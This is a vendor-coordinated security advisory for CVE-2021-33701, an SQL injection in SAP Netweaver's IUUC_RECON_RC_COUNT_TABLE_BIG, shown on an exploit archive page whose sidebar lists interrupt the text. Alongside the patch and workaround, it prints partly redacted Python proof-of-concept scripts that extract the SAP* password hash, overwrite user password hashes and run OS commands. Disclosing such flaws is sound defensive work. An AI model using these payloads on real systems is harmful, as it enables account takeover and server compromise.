SAP Netweaver IUUC_RECON_RC_COUNT_TABLE_BIG SQL Injection

Authored by Raschin Tavakoli | Site sec-consult.com

Posted Dec 15, 2021

SAP Netweaver suffers from a remote ADBC SQL injection vulnerability in IUUC_RECON_RC_COUNT_TABLE_BIG. Other software and various versions are also affected.

tags | exploit, remote, sql injection
advisories | CVE-2021-33701
SHA-256 | 550a91ffd1c6e82c954e30665a5c37fe3bd89744c696191b5b2ac048238d035f


```
SEC Consult Vulnerability Lab Security Advisory < 20211214-0 >
=======================================================================
               title: Remote ADBC SQL Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG
             product: SAP Netweaver
  vulnerable version: see vulnerable/tested versions section below
       fixed version: see solution section below
          CVE number: CVE-2021-33701
           SAP SNote: 3078312
              impact: Critical
      CVSS 3.1 Score: 9.1
     CVSS 3.1 Vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
            homepage: https://www.sap.com/
               found: 2021-07-07
                  by: Raschin Tavakoli (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"SAP SE is a German multinational software corporation based in Walldorf,
Baden-Württemberg, that develops enterprise software to manage business
operations and customer relations. The company is especially known for its ERP
software. SAP is the largest non-American software company by revenue, the
world's third-largest publicly-traded software company by revenue, and the
largest German company by market capitalisation."

Source: https://en.wikipedia.org/wiki/SAP


Business recommendation:
------------------------
SAP® released the patch (SNote 3078312) and SEC Consult advises all
SAP® customers to update their systems immediately.

An in-depth security analysis performed by security professionals is
highly advised, as the software may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1. Remote ADBC SQL Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

The IT_WHERE_CLAUSE parameter of the function module
IUUC_RECON_RC_COUNT_TABLE_BIG is vulnerable to an ADBC SQL Injection. The
function is part of the package CNV_INC_PROCESSING_REMOTE inside the function
module group IUUC_REMOTE. It is typically used to count table records in the
context of logging table and trigger creations.

ADBC is an API for the Native SQL interface of the AS ABAP that is based on
ABAP Objects and can be used to pass Native SQL statements to the database
interface. ADBC SQL injections are a very serious type of vulnerability as
they allow attackers not only to access data directly at the database layer
but also to break out of the current client context. Moreover, stacked queries
can be used to perform arbitrary read/write commands. All of this leads to
full compromise of the SAP application server.

As the affected function module is remote enabled, it allows attackers to
perform remote attacks via RFC.

Note that the vulnerability was originally found by SEC Consult during a
research on a system with DMIS in version DMIS 2011_1_731 SP 0013. In this
version, the same parameter IT_WHERE_CLAUSE was vulnerable to an ABAP
Command Injection.

The vulnerability seems to have been fixed insufficiently, leaving behind this
ADBC SQL Injection. The advisory can be viewed at the following URL:

https://sec-consult.com/vulnerability-lab/advisory/remote-abap-code-injection-in-sap-netweaver/


Attack Prerequisites
--------------------
1. Remote ADBC SQL Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG  (CVE-2021-33701)

First prerequisite is the authorization object S_DMIS (SAP SLO Data migration
server) with at least the following settings:

MBT_PR_ARE: SAP Landscape Transformation
MBT_PR_LEV: (not needed to be set)
ACTVT:      03 Display

Note that it is common practice that authorization objects are (mis)configured
with wildcards, which increases the likelihood of exploitation of the vulnerability.

Further, authorization to perform function calls (S_RFC) has to be
granted for remote exploitation or access to SE37 for local privilege escalation

In the majority of cases internal RFC communications are nowadays still found
to be unencrypted. This increases the risk that attackers wiretap account
passwords. Once such user is hijacked, the attacker has gained all necessary
prerequisites for further attacks as described in this advisory.


Proof of concept:
-----------------
1. Remote ADBC SQL Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

Example A: Arbitrary Read

As a proof of concept, a script was created to brute force the password hash
of the SAP* users in client 000 while authenticated to client 001. This
also demonstrates the possibility of breaking out of the current client context.
For this example, a boolean based Blind SQL attack was used. In
order to get the exploitation to work, an arbitrary existing table has to be
specified for the parameter I_TABNAME (in this PoC ZDEMO_SOH was chosen).

The following excerpt shows the source code of the script:

* ********************************************************************** *
#!/usr/bin/env python3
from pyrfc import Connection
from string import ascii_letters

def generate_alphabet():
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
     alph = []
     for c in ascii_letters:
         alph.append(c)
     for i in range(0,10):
         alph.append(str(i))
     alph.append('+')
     alph.append('/')
     alph.append('=')
     return alph

if __name__ == '__main__':
     final_str = ""
     conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "001",
                       user= "Peter", passwd="Sap123456", lang='EN')
     alph = generate_alphabet()

     print("Brute Forcing SAP* password hash in client 000 ...")

     for i in range(16, 61):
         toggle = 0
         for c in alph:
             where_clause = ("('" + c +
                 "' IN (SELECT SUBSTRING(PWDSALTEDHASH," + str(i) +
                 ",1) from USR02 WHERE BNAME='SAP*' AND MANDT='000'))")

             [ --- PoC partially removed --- ]

             if(result['ET_COUNT'][0]['RECCNT'] != 0):
                 final_str += c
                 print("{x-issha, 1024}" + final_str,end='\r')
  print ("\n")
* ************************************************************************ *
```

Running the code produces the following output:

```
$> poc_iuuc_remote.py
Brute Forcing SAP* password hash in client 000...
{x-issha, 1024}DRM3SNvfwWWsDf71QYyx+5L0AkN310nyKgPjvlBsPqE=
```

Example B: Arbitrary Write

The next proof of concept demonstrates arbitrary write to the database by using stacked queries. The following payload inserts the password hash corresponding to the plaintext password "Test123" into the SAP* users of all clients and then authenticates with the user SAP* on the other client 000. Afterwards, the OS command "ip addr" is executed:

```
* ************************************************************************ *
#!/usr/bin/env python3
from pyrfc import Connection

def read_ABAP_Report():
     with open('X:\\test.abap') as file:
         content = file.readlines()
         content = [x.strip() for x in content]
         return content

if __name__ == '__main__':
     final_str = ""
     conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "001",
                       user= "Peter", passwd="Sap123456", lang='EN')

     where_clause = (
             "1 = 1 ); UPDATE USR02 SET PWDSALTEDHASH = "
             "'{x-issha, 1024}voJRVT/rrJ31pxfmhb/zaBqhXA81CYKSnylMlKr/CkE=' "
             "WHERE BNAME = 'SAP*'; COMMIT WORK; --")

     [ --- PoC partially removed --- ]

     conn2 = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "000",
                       user= "SAP*", passwd="Test123", lang='EN')

     inject = ['REPORT Z_TEST213.'
               'DATA(c) = \'ip addr\'.',
               'DATA t TYPE TABLE OF char255.',
               'DATA l(250) TYPE c.',
               'CALL \'SYSTEM\' ID \'COMMAND\' FIELD c ID \'TAB\' FIELD t.',
               'LOOP AT t INTO l.',
               'WRITE: / l.',
               'ENDLOOP.']

     params = {'PROGRAM':inject}
     result = conn2.call('/SAPDS/RFC_ABAP_INSTALL_RUN', **params)
     for x in result['WRITES']:
         print(x['ZEILE'])
* ************************************************************************ *
```

Running the code produces the following output:

```
$> .\poc_iuuc_remote2.py
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
    default ql
     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
     inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
     inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: enp0s3: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state
    DOWN
     link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state U
     P grou
     link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff
     inet XX.XX.XX.XX/24 brd XX.XX.XX.255 scope global noprefixroute enp0s8
        valid_lft forever preferred_lft forever
     inet6 fe80::a00:27ff:fec3:fa40/64 scope link
        valid_lft forever preferred_lft forever
```

Vulnerable / tested versions:

This vulnerability has been tested on SAP Netweaver 752 SP-LEVEL 0004
DMIS Release 2011_1_731 SP-Level 0016 SP SAPK-11616INDMIS.

According to the vendor, the following products / versions are affected:
* SAPSCORE 125 < SAPK-12502INSAPSCORE
* S4CORE 105 < SAPK-10503INS4CORE
* S4CORE 104 < SAPK-10405INS4CORE
* S4CORE 103 < SAPK-10307INS4CORE
* S4CORE 102 < SAPK-10209INS4CORE
* S4CORE 101 < SAPK-10111INS4CORE
* S4CORE 100
* DMIS 2018_1_752 < SAPK-20106INDMIS
* DMIS 2020 < SAPK-20202INDMIS
* DMIS 2011_1_700 < SAPK-11321INDMIS
* DMIS 2011_1_710 < SAPK-11421INDMIS
* DMIS 2011_1_730 < SAPK-11521INDMIS
* DMIS 2011_1_731 < SAPK-11621INDMIS
* DMIS 2011_1_620 < SAPK-11121INDMIS
* DMIS 2011_1_640 < SAPK-11221INDMIS

Vendor contact timeline:

2021-07-08: Contacting SAP Product Security Response Team through Web Portal
https://www.sap.com/about/trust-center/security/incident-management.html
ID SR-21-00009 has been assigned
2021-07-19: Vendor confirms vulnerability
2021-08-10: SNote 3078312 with patch released
2021-11-17: SEC Consult sends final advisory to vendor and informs about release date
2021-11-18: SAP requests to obfuscate or remove PoC
2021-12-14: Coordinated release of security advisory

Solution:

SEC Consult advises all SAP® customers to implement SAP Security Note 3078312 immediately. Note that Security Note 3078312 contains no automatic correction instructions for customers who run systems with DMIS versions or Support Package levels lower than DMIS 2011 SP10 (2015). Please refer to the section workaround.

Workaround:

In lower SP levels, the correction can be applied manually by modifying function module IUUC_RECON_RC_COUNT_TABLE_BIG adding the following statement directly after the authorization check:

```
ASSERT it_where_clause[] IS INITIAL.
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other
SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

```
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Raschin Tavakoli / @2021
```

Login or Register to add favorites